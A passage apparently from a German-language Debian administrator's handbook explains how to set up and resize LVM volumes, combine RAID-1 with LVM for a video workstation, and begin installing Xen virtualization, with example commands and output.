So weit, so gut. Man beachte, dass ein PV sowohl auf einer vollständigen Platte als auch auf einzelnen darauf enthaltenen Partitionen eingerichtet werden kann. Wie oben gezeigt, listet der Befehl pvdisplay die bestehenden PVs in zwei möglichen Ausgabeformaten auf.

Wir wollen jetzt diese physischen Komponenten mit dem Befehl vgcreate zu VGs zusammenfügen. Dabei nehmen wir nur PVs von den schnellen Platten in eine VG namens vg_critical auf; die andere VG, vg_normal, enthält dagegen auch langsamere Komponenten.

# vgdisplay # vgcreate vg_critical /dev/sdb2 /dev/sdf1 Volume group "vg_critical" successfully created # vgdisplay --- Volume group --- VG Name vg_critical System ID Format lvm2 Metadata Areas 2 Metadata Sequence No 1 VG Access read/write VG Status resizable MAX LV 0 Cur LV 0 Open LV 0 Max PV 0 Cur PV 2 Act PV 2 VG Size 8.14 GB PE Size 4.00 MB Total PE 2084 Alloc PE / Size 0 / 0 Free PE / Size 2084 / 8.14 GB VG UUID 6eG6BW-MmJE-KB0J-dsB2-52iL-N6eD-1paeo8 # vgcreate vg_normal /dev/sdc3 /dev/sdd /dev/sdf2 Volume group "vg_normal" successfully created # vgdisplay -C VG #PV #LV #SN Attr VSize VFree vg_critical 2 0 0 wz--n- 8.14g 8.14g vg_normal 3 0 0 wz--n- 12.30g 12.30g

Auch hier sind die Befehle recht einfach (und bei vgdisplay kann zwischen zwei Ausgabeformaten gewählt werden). Man beachte, dass es durchaus möglich ist, zwei Partitionen derselben physischen Platte in zwei unterschiedlichen VGs zu verwenden. Außerdem beachte man, dass wir bei der Benennung unserer VGs zwar das Präfix vg_ benutzt haben, dass dies aber lediglich eine Gewohnheit ist.

Wir haben jetzt zwei „virtuelle Platten“ mit einer Größe von etwa 8 GB und 12 GB. Wir wollen sie jetzt in „virtuelle Partitionen“ (LVs) unterteilen. Dies geschieht mit dem Befehl lvcreate und einer etwas komplizierteren Syntax:

# lvdisplay # lvcreate -n lv_files -L 5G vg_critical Logical volume "lv_files" created # lvdisplay --- Logical volume --- LV Name /dev/vg_critical/lv_files VG Name vg_critical LV UUID 4QLhl3-2cON-jRgQ-X4eT-93J4-6Ox9-GyRx3M LV Write Access read/write LV Status available # open 0 LV Size 5.00 GB Current LE 1280 Segments 2 Allocation inherit Read ahead sectors auto - currently set to 256 Block device 253:0 # lvcreate -n lv_base -L 1G vg_critical Logical volume "lv_base" created # lvcreate -n lv_backups -L 12G vg_normal Logical volume "lv_backups" created # lvdisplay -C LV VG Attr LSize Origin Snap% Move Log Copy% Convert lv_base vg_critical -wi-a- 1.00G lv_files vg_critical -wi-a- 5.00G lv_backups vg_normal -wi-a- 12.00G

Zur Erstellung logischer Volumes sind zwei Parameter erforderlich; sie müssen als Optionen an den Befehl lvcreate übergeben werden. Der Name des zu erstellenden LV wird mit der Option -n festgelegt und seine Größe im Allgemeinen mit der Option -L. Wir müssen dem Befehl außerdem natürlich mitteilen, auf welche VG er angewendet werden soll. Dazu dient der letzte Parameter der Befehlszeile.

WEITERE SCHRITTE Optionen von lvcreate

Der Befehl lvcreate verfügt über mehrere Optionen, mit denen die Erstellung eines LV fein eingestellt werden kann.

Wir wollen mit der Beschreibung der Option -l beginnen, bei der die Größe des LVs als Anzahl von Blöcken angegeben wird (im Gegensatz zu den „menschlichen“ Einheiten, die wir zuvor verwendet haben). Diese Blöcke (die in der Sprache des LVM als PEs, physical extents, bezeichnet werden) sind zusammenhängende Einheiten von Speicherplatz in den PVs, die nicht auf verschiedene LVs aufgeteilt werden können. Wenn man den Speicherplatz eines LV genau festlegen möchte, um zum Beispiel den verfügbaren Platz vollständig zu nutzen, wird man wohl die Option -l der Option -L vorziehen.

Man kann auch den physischen Ort eines LV angeben, so dass seine „extents“ in einem bestimmten PV abgelegt werden (wobei sie natürlich innerhalb des Bereichs verbleiben müssen, der der VG zugewiesen ist). Da wir wissen, dass sdb schneller als sdf ist, werden wir lv_base wohl dort ablegen, wenn wir dem Datenbank-Server gegenüber dem Dateiserver einen Vorteil verschaffen möchten. So wird die Befehlszeile zu: lvcreate -n lv_base -L 1G vg_critical /dev/sdb2. Man beachte, dass dieser Befehl scheitern kann, wenn das PV nicht genügend freie „extents“ hat. In unserem Beispiel müssten wir wohl lv_base vor lv_files erstellen, um eine derartige Situation zu vermeiden - oder mit dem Befehl pvmove auf sdb2 etwas Platz schaffen.

Logische Volumes werden nach ihrer Erstellung zu Blockgerätedateien in /dev/mapper/:

# ls -l /dev/mapper total 0 crw-rw---- 1 root root 10, 59 5 oct. 17:40 control lrwxrwxrwx 1 root root 7 5 oct. 18:14 vg_critical-lv_base -> ../dm-1 lrwxrwxrwx 1 root root 7 5 oct. 18:14 vg_critical-lv_files -> ../dm-0 lrwxrwxrwx 1 root root 7 5 oct. 18:14 vg_normal-lv_backups -> ../dm-2 # ls -l /dev/dm-* brw-rw---- 1 root disk 253, 0 5 oct. 18:14 /dev/dm-0 brw-rw---- 1 root disk 253, 1 5 oct. 18:14 /dev/dm-1 brw-rw---- 1 root disk 253, 2 5 oct. 18:14 /dev/dm-2

HINWEIS LVM-Volumes automatisch erkennen

Wenn der Rechner hochfährt, überprüft das Skript /etc/init.d/lvm die verfügbaren Geräte. Diejenigen, die als physische Volumes für LVM initialisiert sind, werden im LVM-Untersystem registriert; diejenigen, die zu Volume-Gruppen gehören, werden zusammengefügt; und die entsprechenden logischen Volumes werden gestartet und bereitgestellt. Es ist daher nicht erforderlich, Konfigurationsdateien zu editieren, wenn LVM-Volumes erstellt oder verändert werden.

Man beachte jedoch, dass die Anordnung der LVM-Komponenten (physische und logische Volumes und Volume-Gruppen) in der Datei /etc/lvm/backup gespeichert wird, was bei Problemen nützlich sein kann (oder auch um einfach einen Blick unter die Haube zu werfen).

Zur Vereinfachung werden zudem bequeme symbolische Verknüpfungen in den Verzeichnissen angelegt, die den VGs entsprechen:

# ls -l /dev/vg_critical total 0 lrwxrwxrwx 1 root root 7 5 oct. 18:14 lv_base -> ../dm-1 lrwxrwxrwx 1 root root 7 5 oct. 18:14 lv_files -> ../dm-0 # ls -l /dev/vg_normal total 0 lrwxrwxrwx 1 root root 7 5 oct. 18:14 lv_backups -> ../dm-2

Die LVs können genau wie Standard-Partitionen benutzt werden:

# mkfs.ext4 /dev/vg_normal/lv_backups mke2fs 1.41.12 (17-May-2010) Filesystem label= OS type: Linux Block size=4096 (log=2) [...] This filesystem will be automatically checked every 34 mounts or 180 days, whichever comes first. Use tune2fs -c or -i to override. # mkdir /srv/backups # mount /dev/vg_normal/lv_backups /srv/backups # df -h /srv/backups Filesystem Size Used Avail Use% Mounted on /dev/mapper/vg_normal-lv_backups 12G 159M 12G 2% /srv/backups # [...] [...] # cat /etc/fstab [...] /dev/vg_critical/lv_base /srv/base ext4 /dev/vg_critical/lv_files /srv/files ext4 /dev/vg_normal/lv_backups /srv/backups ext4

Aus Sicht der Anwendungen ist die Vielzahl kleiner Partitionen jetzt zu einem großen Datenträger mit 12 GB und einem freundlicheren Namen zusammengefasst worden.

12.1.2.3. LVM im Verlauf der Zeit

Wenn auch die Fähigkeit, Partitionen oder physische Platten zusammenzufassen, praktisch ist, so ist dies doch nicht der wichtigste Vorteil, den LVM bietet. Die Flexibilität, die er mit sich bringt, wird erst im Laufe der Zeit richtig deutlich, wenn sich die Anforderungen weiterentwickeln. In unserem Beispiel wollen wir annehmen, dass neue große Dateien gespeichert werden müssen, und dass das für den Dateiserver reservierte LV für sie zu klein ist. Da wir noch nicht allen in vg_critical verfügbaren Platz verwendet haben, können wir lv_files vergrößern. Zu diesem Zweck benutzen wir den Befehl lvresize und anschließend resize2fs, um das Dateisystem entsprechend anzupassen:

# df -h /srv/files/ Filesystem Size Used Avail Use% Mounted on /dev/mapper/vg_critical-lv_files 5.0G 4.6G 142M 98% /srv/files # lvdisplay -C vg_critical/lv_files LV VG Attr LSize Origin Snap% Move Log Copy% Convert lv_files vg_critical -wi-ao 5.00g # vgdisplay -C vg_critical VG #PV #LV #SN Attr VSize VFree vg_critical 2 2 0 wz--n- 8.14g 2.14g # lvresize -L 7G vg_critical/lv_files Extending logical volume lv_files to 7.00 GB Logical volume lv_files successfully resized # lvdisplay -C vg_critical/lv_files LV VG Attr LSize Origin Snap% Move Log Copy% Convert lv_files vg_critique -wi-ao 7.00g # resize2fs /dev/vg_critical/lv_files resize2fs 1.41.12 (17-May-2010) Filesystem at /dev/vg_critical/lv_files is mounted on /srv/files; on-line resizing required old desc_blocks = 1, new_desc_blocks = 1 Performing an on-line resize of /dev/vg_critical/lv_files to 1835008 (4k) blocks. The filesystem on /dev/vg_critical/lv_files is now 1835008 blocks long. # df -h /srv/files/ Filesystem Size Used Avail Use% Mounted on /dev/mapper/vg_critical-lv_files 6.9G 4.6G 2.1G 70% /srv/files

VORSICHT Die Größe von Dateisystemen ändern

Nicht bei allen Dateisystemen lässt sich die Größe im laufenden Betrieb verändern. Zur Änderung der Größe eines Datenträgers kann es daher erforderlich sein, das Dateisystem zunächst aus- und anschließend wieder einzuhängen. Wenn man die Größe, die einem LV zugeordnet ist, verkleinern will, muss man natürlich zunächst das Dateisystem verkleinern. Die Reihenfolge ist umgekehrt, wenn die Größenänderung in die andere Richtung verläuft: das logische Volume muss vor dem darauf befindlichen Dateisystem vergrößert werden. Dies ist recht eindeutig, da zu keiner Zeit das Dateisystem größer sein darf als das Blockgerät, auf dem es sich befindet (gleichgültig, ob dieses Gerät eine physische Partition oder ein logisches Volume ist).

Die Dateisysteme ext3, ext4 und xfs können im laufenden Betrieb vergrößert werden, ohne sie auszuhängen. Zu einer Verkleinerung müssen sie jedoch ausgehängt werden. Das Dateisystem reiserfs ermöglicht eine Größenänderung im laufenden Betrieb in beide Richtungen. Das altehrwürdige ext2 erlaubt keines von beiden und muss immer ausgehängt werden.

Wir könnten in ähnlicher Weise vorgehen, um den Datenträger zu erweitern, auf dem sich die Datenbank befindet. Nur haben wir hier die Grenze des für die VG verfügbaren Platzes erreicht:

# df -h /srv/base/ Filesystem Size Used Avail Use% Mounted on /dev/mapper/vg_critical-lv_base 1008M 835M 123M 88% /srv/base # vgdisplay -C vg_critical VG #PV #LV #SN Attr VSize VFree vg_critical 2 2 0 wz--n- 8.14g 144.00m

Das macht nichts, da es mit LVM möglich ist, physische Datenträger zu bestehenden Volume-Gruppen hinzuzufügen. Wir könnten zum Beispiel festgestellt haben, dass die Partition sdb1, die bisher außerhalb des LVM verwendet wurde, nur Archivdateien enthält, die nach lv_backups verschoben werden könnten. Wir können sie dann neu verwenden und in die Volume-Gruppe integrieren und so zusätzlichen Platz gewinnen. Hierzu dient der Befehl vgextend. Natürlich muss die Partition zunächst als physischer Datenträger eingerichtet werden. Sobald die VG erweitert worden ist, können wir ähnliche Befehle wie zuvor verwenden, um zunächst das logische Volume und anschließend das Dateisystem zu vergrößern:

# pvcreate /dev/sdb1 Physical volume "/dev/sdb1" successfully created # vgextend vg_critical /dev/sdb1 Volume group "vg_critical" successfully extended # vgdisplay -C vg_critical VG #PV #LV #SN Attr VSize VFree vg_critical 3 2 0 wz--n- 9.09g 1.09g # [...] [...] # df -h /srv/base/ Filesystem Size Used Avail Use% Mounted on /dev/mapper/vg_critical-lv_base 2.0G 835M 1.1G 44% /srv/base

WEITERE SCHRITTE Weitergehender LVM

LVM wird auch weitergehenden Einsätzen gerecht, bei denen viele Einzelheiten von Hand festgelegt werden können. So kann ein Administrator zum Beispiel die Größe der Blöcke, aus denen physische oder logische Datenträger bestehen, wie auch ihre physische Anordnung genau einstellen. Es ist auch möglich, Blöcke in andere PVs zu verschieben, um zum Beispiel die Leistung fein abzustimmen, oder etwas alltäglicher, um ein PV leerzuräumen, wenn man die entsprechende physische Platte aus der VG entfernen muss (um sie einer anderen VG zuzuordnen oder vollständig aus dem LVM zu entfernen). Die Handbuchseiten, die die Befehle erläutern, sind meist deutlich und ausführlich. Ein guter Einstieg ist die Handbuchseite lvm(8).

12.1.3. RAID oder LVM?

Sowohl RAID als auch LVM bieten eindeutige Vorteile, sobald man den einfachen Fall eines Arbeitsplatzrechners mit einer einzigen Festplatte, bei der sich die Art der Nutzung im Laufe der Zeit nicht ändert, verlässt. RAID und LVM gehen jedoch in zwei verschiedene Richtungen mit unterschiedlichen Zielen, und man fragt sich zu Recht, welches man anwenden soll. Die richtige Antwort hängt natürlich von den jetzigen und voraussichtlichen Anforderungen ab.

Es gibt einige einfache Fälle, in denen sich diese Frage nicht wirklich stellt. Wenn es erforderlich ist, Daten vor Hardwareausfällen zu schützen, wird natürlich RAID auf einer redundanten Anordnung von Platten eingerichtet, da LVM dieses Problem nicht wirklich anspricht. Falls andererseits Bedarf an einem flexiblen Speichersystem besteht, bei dem die Datenträger von der physischen Anordnung der Platten unabhängig sind, hilft RAID nicht viel, und die Wahl fällt natürlich auf LVM.

Der dritte bemerkenswerte Anwendungsfall liegt vor, wenn man einfach zwei Platten zu einem Datenträger zusammenfassen möchte, entweder aus Gründen der Leistung oder um ein einziges Dateisystem zu haben, das größer als jede der verfügbaren Platten ist. Dieser Fall kann sowohl mit einem RAID-0 (oder sogar einem linearen RAID) als auch mit einem LVM-Volume gelöst werden. In dieser Situation, und falls es keine weiteren Einschränkungen gibt (zum Beispiel, mit den übrigen Rechnern konform zu bleiben, falls diese nur RAID verwenden), wird häufig LVM die Konfiguration der Wahl sein. Die anfängliche Einrichtung ist etwas komplizierter, aber dieser etwas höhere Grad an Schwierigkeit wird durch die außergewöhnliche Flexibilität, die LVM bietet, wenn sich die Anforderungen ändern oder wenn neue Platten hinzugefügt werden müssen, mehr als wett gemacht.

Dann gibt es natürlich den wirklich interessanten Fall, bei dem das Speichersystem sowohl gegen Hardwareausfall beständig gemacht werden muss als auch flexibel bei der Datenträgeraufteilung. Weder RAID noch LVM allein kann beide Ansprüche erfüllen. Kein Problem, hier verwenden wir beide gleichzeitig - oder vielmehr übereinander. Der Aufbau, der quasi zum Standard geworden ist, seit RAID und LVM die Einsatzreife erreicht haben, besteht darin, zunächst Datenredundanz sicherzustellen, indem Platten zu einer kleinen Anzahl großer RAID-Anordnungen zusammengefasst werden, und dann diese RAID-Anordnungen als physische LVM-Volumes zu verwenden. Anschließend werden diese LVs in logische Partitionen für die Dateisysteme aufgeteilt. Der Grund für diesen Aufbau ist, dass, wenn eine Platte ausfällt, nur wenige der RAID-Anordnungen wiederhergestellt werden müssen, wodurch die Zeit, die der Administrator für die Wiederherstellung aufwenden muss, begrenzt bleibt.

Nehmen wir ein konkretes Beispiel: die Werbeabteilung bei Falcot Corp. benötigt einen Arbeitsplatzrechner für die Videobearbeitung, das Budget der Abteilung reicht aber nicht aus, um von Grund auf in Hochleistungsgeräte zu investieren. Es wird daher beschlossen, sich hierbei auf die Geräte zu beschränken, die für die grafische Art der Arbeit spezifisch sind (Bildschirm und Grafikkarte), und für die Speicherung bei normaler Hardware zu bleiben. Es ist jedoch allgemein bekannt, dass digitales Video einige besondere Ansprüche an die Speicherung stellt: der Umfang der zu speichernden Daten ist hoch, und die Durchsatzgeschwindigkeit für das Lesen und Schreiben dieser Daten ist für die Gesamtleistung des Systems wichtig (wichtiger als zum Beispiel die typische Zugriffszeit). Diese Anforderungen müssen mit der normalen Hardware erfüllt werden, in diesem Fall mit zwei 300 GB SATA-Festplatten. Die Systemdaten und einige Anwenderdaten müssen außerdem gegen Hardwareausfall beständig gemacht werden. Bearbeitete Videoclips müssen wirklich sicher sein, während dies bei Videoabschnitten, die noch nicht editiert wurden, weniger kritisch ist, da es sie noch auf den Videobändern gibt.

RAID-1 und LVM werden kombiniert, um diese Ansprüche zu erfüllen. Die Platten werden an zwei verschiedene SATA-Controller angeschlossen, um den parallelen Zugriff zu optimieren und das Risiko eines gleichzeitigen Ausfalls zu verringern, und werden demnach als sda und sdc angezeigt. Sie werden beide in gleicher Weise wie folgt partitioniert:

# fdisk -l /dev/sda Disk /dev/hda: 300.0 GB, 300090728448 bytes 255 heads, 63 sectors/track, 36483 cylinders Units = cylinders of 16065 * 512 = 8225280 bytes Sector size (logical/physical): 512 bytes / 512 bytes I/O size (minimum/optimal): 512 bytes / 512 bytes Disk identifier: 0x00039a9f Device Boot Start End Blocks Id System /dev/sda1 * 1 124 995998+ fd Linux raid autodetect /dev/sda2 125 248 996030 82 Linux swap / Solaris /dev/sda3 249 36483 291057637+ 5 Extended /dev/sda5 249 12697 99996561 fd Linux raid autodetect /dev/sda6 12698 25146 99996561 fd Linux raid autodetect /dev/sda7 25147 36483 91064421 8e Linux LVM

Die ersten Partitionen beider Platten (etwa 1 GB) werden zu einem RAID-1-Datenträger namens md0 zusammengefasst. Dieser Spiegel wird direkt dazu benutzt, das Wurzeldateisystem aufzunehmen.

Die Partitionen sda2 und sdc2 werden als Auslagerungspartitionen verwendet und stellen insgesamt 2 GB an Auslagerungsspeicher bereit. Zusammen mit 1 GB RAM hat der Arbeitsplatzrechner somit einen reichlichen Umfang an verfügbarem Speicher.

Die Partitionen sda5 und sdc5 wie auch sda6 und sdc6 werden zu zwei neuen RAID-1-Datenträgern namens md1 und md2 mit einer Größe von je 100 GB zusammengefasst. Diese beiden Spiegel werden als physische Datenträger für LVM initialisiert und der Volumengruppe vg_raid zugewiesen. Diese VG umfasst somit etwa 200 GB an sicherem Speicherplatz.

Die übrigen Partitionen, sda7 und sdc7 werden direkt als physische Datenträger benutzt und einer weiteren VG namens vg_bulk zugewiesen, die daher auch etwa 200 GB Speicherplatz bekommt.

Nachdem die VGs erstellt sind, können sie auf sehr flexible Weise partitioniert werden. Man muss dabei beachten, dass die in vg_raid erstellten LVs selbst dann erhalten bleiben, wenn eine der Platten ausfällt, wohingegen dies bei den in vg_bulk erstellten LVs nicht der Fall ist. Andererseits werden letztere parallel auf beiden Platten bereitgestellt, wodurch höhere Lese- und Schreibgeschwindigkeiten für große Dateien möglich sind.

Wir erstellen daher auf vg_raid die LVs lv_usr, lv_var und lv_home zur Aufnahme der entsprechenden Dateisysteme. Ein weiteres großes LV, lv_movies, dient dazu, die endgültigen Versionen der Filme nach ihrer Editierung aufzunehmen. Die andere VG wird in ein großes lv_rushes für Daten direkt aus den digitalen Videokameras und ein lv_tmp für temporäre Dateien aufgeteilt. Für den Ort des Arbeitsbereichs ist eine weniger einfache Entscheidung zu treffen: während für diesen Datenträger einerseits gute Leistung erforderlich ist, fragt es sich, ob es andererseits wert ist, den Verlust der Arbeit zu riskieren, wenn während des Editierens eine Platte ausfällt. In Abhängigkeit von der Antwort auf diese Frage wird das entsprechende LV auf der einen oder der anderen VG erstellt.

Wir haben jetzt sowohl einige Redundanz für wichtige Daten als auch große Flexibilität in der Art, wie der verfügbare Platz auf die Anwendungen verteilt ist. Sollten später neue Programme installiert werden (zum Beispiel zum Editieren von Audiodateien), kann das LV, das /usr/ enthält, problemlos vergrößert werden.

HINWEIS Warum drei RAID-1-Datenträger?

Wir hätten nur einen RAID-1-Datenträger einrichten können, um als physischer Datenträger für vg_raid zu dienen. Warum haben wir dann drei erstellt?

Der Grund für die erste Unterteilung (in md0 und die übrigen) liegt in der Datensicherheit: Daten, die auf beide Komponenten eines RAID-1-Spiegels geschrieben werden, sind identisch, und es ist daher möglich, die RAID-Ebene zu umgehen und eine der Platten direkt einzuhängen. Im Falle eines Kernelfehlers oder falls die LVM-Metadaten beschädigt werden, ist es immer noch möglich, ein minimales System zu starten, um damit auf wichtige Daten wie die Belegung der Platten in den RAID- und LVM-Volumes zuzugreifen. Die Metadaten können dann wiederhergestellt und die Dateien wieder zugänglich gemacht werden, so dass das System in seinen Ausgangszustand zurückversetzt werden kann.

Der Grund für die zweite Unterteilung (in md1 und md2) ist weniger offensichtlich und hängt eher mit der Erkenntnis zusammen, dass die Zukunft unsicher ist. Wenn der Arbeitsplatzrechner erstmals eingerichtet wird, sind die genauen Speichererfordernisse nicht unbedingt mit absoluter Sicherheit bekannt; außerdem können sie sich im Laufe der Zeit verändern. In unserem Fall können wir den tatsächlichen Bedarf an Speicherplatz für Videoszenen und vollständige Videoclips nicht im Vorhinein kennen. Falls ein bestimmter Clip eine sehr hohe Anzahl an Szenen benötigt, und die VG für redundante Daten weniger als halb voll ist, können wir einen Teil ihres nicht genutzten Platzes anderweitig verwenden. Wir können einen der physischen Datenträger entfernen, zum Beispiel md2 aus vg_raid, und ihn entweder direkt vg_bulk zuordnen (falls die voraussichtliche Dauer des Einsatzes kurz genug ist, um den vorübergehenden Leistungsabfall in Kauf zu nehmen), oder die RAID-Anordnung auf md2 auflösen und seine Komponenten sda6 und sdc6 in die Massen-VG integrieren (die damit um 200 GB statt um 100 GB anwächst). Der logische Datenträger lv_rushes kann dann nach Maßgabe des Bedarfs vergrößert werden.

12.2. Virtualisierung

Virtualisierung ist einer der größten Fortschritte der letzten Jahre im Computerwesen. Der Ausdruck umfasst verschiedene Abstraktionen und Techniken der Simulation virtueller Rechner mit unterschiedlichen Graden der Unabhängigkeit von der tatsächlichen Hardware. Dabei kann ein physischer Server mehrere Systeme beherbergen, die gleichzeitig und getrennt voneinander funktionieren. Es gibt zahlreiche Anwendungen, und sie rühren häufig von dieser Trennung her: zum Beispiel Testumgebungen mit unterschiedlichen Konfigurationen, oder die getrennte Unterbringung von Diensten auf unterschiedlichen virtuellen Rechnern aus Sicherheitsgründen.

Es gibt zahlreiche Virtualisierungslösungen, jede mit ihren eigenen Vor- und Nachteilen. Dieses Buch konzentriert sich auf Xen, LXC und KVM, es gibt jedoch weitere bemerkenswerte Umsetzungen einschließlich der folgenden:

QEMU ist ein Software-Emulator eines vollständigen Rechners. Die Leistungen sind weit geringer als die Geschwindigkeit, die man mit einer tatsächlichen Ausführung erreichen könnte, aber mit ihm ist es möglich, nicht modifizierte oder experimentelle Betriebssysteme auf der emulierten Hardware auszuführen. Mit ihm kann man auch eine andere Hardware-Architektur emulieren: so kann zum Beispiel ein i386-System einen arm-Rechner emulieren. QEMU ist freie Software.

→ http://www.qemu.org/

Bochs ist ein weiterer freier virtueller Rechner, der jedoch nur die i386-Architektur emuliert.

VMware ist ein proprietärer virtueller Rechner; da er einer der ältesten ist, ist er auch einer der bekanntesten. Er funktioniert nach ähnlichen Prinzipien wie QEMU. VMware bietet erweiterte Funktionen wie Schnappschüsse eines laufenden virtuellen Rechners.

→ http://www.vmware.com/

VirtualBox ist ein virtueller Rechner, der überwiegend aus freier Software besteht (wobei jedoch einige zusätzliche Komponenten unter einer proprietären Lizenz stehen). Obwohl er jünger als VMware und auf die i386- und amd64-Architekturen beschränkt ist, ist er vielversprechend. Er ermöglicht zum Beispiel bereits Schnappschüsse. VirtualBox ist seit Lenny in Debian enthalten.

→ http://www.virtualbox.org/

12.2.1. Xen

Xen ist eine Lösung zur „Paravirtualisierung“. Es führt zwischen der Hardware und den darüber liegenden Systemen eine dünne Abstraktionsschicht ein, die „Hypervisor“ genannt wird. Diese agiert als Schiedsrichter, der den Zugang der virtuellen Rechner zur Hardware kontrolliert. Er wickelt jedoch nur einige der Instruktionen ab, der Rest wird direkt von der Hardware im Auftrag des Systems ausgeführt. Der Hauptvorteil liegt darin, dass die Leistung nicht abnimmt und die Systeme so fast dieselbe Geschwindigkeit wie bei direkter Ausführung erreichen. Die Kehrseite besteht darin, dass die Kernel der Betriebssysteme, die man mit einem Xen-Hypervisor verwenden möchte, angepasst werden müssen, um mit Xen zu funktionieren.

Lassen Sie uns einige Zeit bei den Ausdrücken bleiben. Der Hypervisor ist die unterste Schicht, die direkt auf der Hardware läuft, sogar unterhalb des Kernels. Dieser Hypervisor kann die übrige Software auf verschiedene Domains aufteilen, die man als ebenso viele virtuelle Rechner ansehen kann. Eine dieser Domains (die erste, die gestartet wird) wird als dom0 bezeichnet und spielt eine besondere Rolle, da nur diese Domain den Hypervisor und die Ausführung der übrigen Domains kontrollieren kann. Diese übrigen Domains werden domU genannt. Mit anderen Worten und aus der Sicht des Benutzers entspricht dom0 dem „Host“ bei anderen Virtualisierungssystemen, während eine domU als „Gast“ angesehen werden kann.

KULTUR Xen und die verschiedenen Linux-Versionen

Xen ist ursprünglich als Satz von Patches entwickelt worden, die außerhalb der offiziellen Baumstruktur standen und nicht mit dem Linux-Kernel integriert waren. Zur gleichen Zeit benötigten mehrere aufkommenden Virtualisierungssysteme (einschließlich KVM) einige allgemeine virtualisierungsbezogene Funktionen zur Erleichterung ihrer Integration, und der Linux-Kernel bekam diesen Satz von Funktionen (als paravirt_ops- oder pv_ops-Schnittstelle bekannt). Da die Xen-Patches einige Funktionsweisen dieser Schnittstelle duplizierten, konnten sie nicht offiziell akzeptiert werden.

Xensource, das Unternehmen, das hinter Xen steht, musste daher Xen auf dieses neue System portieren, so dass die Xen-Patches mit dem offiziellen Linux-Kernel zusammengeführt werden konnten. Dies bedeutete, dass eine Menge Code umgeschrieben werden musste, und obwohl Xensource bald eine funktionierende Version hatte, die auf der paravirt_ops-Schnittstelle basierte, wurden die Patches nur schrittweise mit dem offiziellen Kernel zusammengeführt. Die Zusammenführung war mit Linux 3.0 abgeschlossen.

→ http://wiki.xensource.com/xenwiki/XenParavirtOps

Obwohl Squeeze auf der Version 2.6.32 des Linux-Kernels basiert, ist mit den Paketen linux-image-2.6-xen-686 und linux-image-2.6-xen-amd64 auch eine Version verfügbar, die die Xen-Patches von Xensource enthält. Dieses distributionsspezifische Patchen bedeutet, dass der verfügbare Funktionsumfang von der Distribution abhängt; Unstimmigkeiten in den Codeversionen oder gar die Integration von Code, der sich noch in der Entwicklung befindet, in einige Distributionen führen auch zu Unterschieden in den unterstützten Funktionen. Dieses Problem sollte inzwischen deutlich geringer sein, seit Xen offiziell mit Linux zusammengeführt worden ist.

→ http://wiki.xen.org/xenwiki/XenKernelFeatures

Zur Verwendung von Xen unter Debian sind drei Komponenten erforderlich:

HINWEIS Mit Xen kompatible Architekturen

Xen gibt es zur Zeit nur für die i386- und amd64-Architekturen. Zudem benutzt es Prozessorinstruktionen, die nicht immer in allen Rechnern der i386-Klasse unterstützt worden sind. Man beachte, dass die meisten Prozessoren der Pentiumklasse (oder besser), die nach 2001 hergestellt worden sind, funktionieren werden. Die Einschränkung gilt daher nur in wenigen Situationen.

KULTUR Xen und Nicht-Linux-Kernel

Xen erfordert Anpassungen bei allen Betriebssystemen, die man darauf laufen lassen möchte; nicht alle Kernel haben in dieser Hinsicht den gleichen Grad an Reife. Viele sind voll funktionsfähig, sowohl als dom0 als auch als domU: Linux 2.6 (mit dem Patch von Debian) und 3.0, NetBSD4.0 und später sowie OpenSolaris. Andere, wie zum Beispiel OpenBSD 4.0, FreeBSD 8 und Plan 9 funktionieren nur als domU.

Wenn Xen sich jedoch auf die speziell für eine Virtualisierung vorgesehenen Hardwarefunktionen (die es nur bei neueren Prozessoren gibt) stützen kann, können selbst nicht modifizierte Betriebssysteme (einschließlich Windows) als domU laufen.

Der Hypervisor an sich. Je nach verfügbarer Hardware ist das entsprechende Paket entweder xen-hypervisor-4.0-i386 oder xen-hypervisor-4.0-amd64.

Ein Kernel mit passenden Patches, die es ihm ermöglichen, mit diesem Hypervisor zu laufen. Im Falle von 2.6.32, der für Squeeze gilt, bestimmt die verfügbare Hardware die Auswahl unter den verschiedenen verfügbaren Paketen namens xen-linux-system-2.6.32-5-xen-*.

Die i386-Architektur erfordert zudem eine Standardbibliothek mit passenden Patches, um Xen nutzen zu können; diese befindet sich im Paket libc6-xen.

Um den Aufwand der manuellen Auswahl dieser Komponenten zu vermeiden, stehen einige Pakete zur Erhöhung der Benutzerfreundlichkeit bereit (wie zum Beispiel xen-linux-system-2.6.32-5-xen-686 und seine Varianten); sie alle installieren eine als gut bekannte Kombination aus passendem Hypervisor und Kernelpaketen. Der Hypervisor bringt zudem das Paket xen-utils-4.0 mit sich, das Hilfsprogramme zur Steuerung des Hypervisors von dom0 aus enthält. Dieses wiederum bringt die passende Standardbibliothek mit sich. Während der Installation all dieser Komponenten erstellen Konfigurationsskripten außerdem einen neuen Eintrag im Menü des Grub Boot-Loaders, mit dem der ausgewählte Kernel in einer Xen dom0 gestartet wird. Man beachte jedoch, dass dieser Eintrag gewöhnlich nicht zuoberst in der Liste steht und deshalb nicht standardmäßig ausgewählt wird. Falls dies nicht das erwünschte Verhalten ist, kann es mit folgenden Befehlen verändert werden:

# mv /etc/grub.d/20_linux_xen /etc/grub.d/09_linux_xen # update-grub

Nachdem diese Voraussetzungen installiert sind, besteht der nächste Schritt darin, das Verhalten von dom0 selbst zu testen; hierzu gehört ein Neustart des Hypervisors und des Xen-Kernels. Das System sollte auf normale Art hochfahren mit einigen zusätzlichen Meldungen auf dem Terminal während der frühen Initialisierungsschritte.

Jetzt ist es an der Zeit, unter Verwendung der Hilfsprogramme aus xen-tools tatsächlich brauchbare Systeme auf dem domU-System zu installieren. Dieses Paket stellt den Befehl xen-create-image bereit, der die Aufgabe weitgehend automatisiert. Der einzig zwingend notwendige Parameter ist --hostname, der domU einen Namen gibt. Andere Optionen sind zwar ebenfalls wichtig, können aber in der Konfigurationsdatei /etc/xen-tools/xen-tools.conf gespeichert werden, und ihr Fehlen in der Befehlszeile führt nicht zu einer Fehlermeldung. Es ist daher wichtig, entweder vor der Erstellung von Abbildern den Inhalt dieser Datei zu überprüfen oder beim Aufruf des Befehls xen-create-image zusätzliche Parameter zu verwenden. Zu den wichtigen und beachtenswerten Parametern gehören folgende:

--memory, um den Umfang an RAM festzulegen, den das neu erstellte System nutzen kann;

--size und --swap, um die Größe der „virtuellen Platten“ zu definieren, die der domU zur Verfügung stehen;

--debootstrap, um zu veranlassen, dass das neue System mit debootstrap installiert wird; in diesem Fall wird meistens auch die Option --dist verwendet (mit dem Namen einer Distribution wie zum Beispiel squeeze).

WEITERE SCHRITTE Ein Nicht-Debian-System in einer domU installieren

